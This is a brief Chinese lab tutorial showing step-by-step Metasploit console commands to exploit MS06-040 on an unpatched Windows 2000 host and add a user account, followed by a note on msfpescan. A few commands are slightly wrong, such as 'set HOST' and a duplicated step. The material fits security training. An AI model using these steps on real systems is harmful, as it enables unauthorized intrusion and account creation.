MetaSploit实例使用

MS06-040漏洞利用

实验环境

攻击主机系统:Kail2
目标主机系统:Windows 2000 SP4
补丁版本:未打过补丁的KB921883
网络环境:可以相互ping通

实验步骤

1.安装Nessus(漏洞扫描)

2.使用metasploit(漏洞利用)

  1. show exploits
    MetaSploit实例使用

  2. use windows/smb/ms06_040_netapi

  3. info—显示当前漏洞的详细信息
    MetaSploit实例使用

  4. show targets—显示当前所选漏洞能够影响的操作系统

  5. set target 0—自动识别系统5. set target 0—自动识别系统

  6. show payloads—显示当前可用的shellcode

  7. set payload windows/adduser—选用shellcode

  8. show options—显示当前所选漏洞和shellcode所需的参数
    MetaSploit实例使用

  9. set HOST 192.168.1.110—设置目标主机

  10. set PASS 123456—设置密码(密码简单会提示密码过于简单的错误信息)

  11. set USER 123—设置用户

  12. exploit—进行攻击测试
    MetaSploit实例使用

3.验证结果(漏洞验证)

net user 查看用户
MetaSploit实例使用

跳板指令查询

msfpescan:扫描跳转指令并直接转化为VA的工具
MetaSploit实例使用
msfpescan -f-j ecx c:/2.exe
扫描PE文件2.exe中类似于jump eax的指令

exploit开发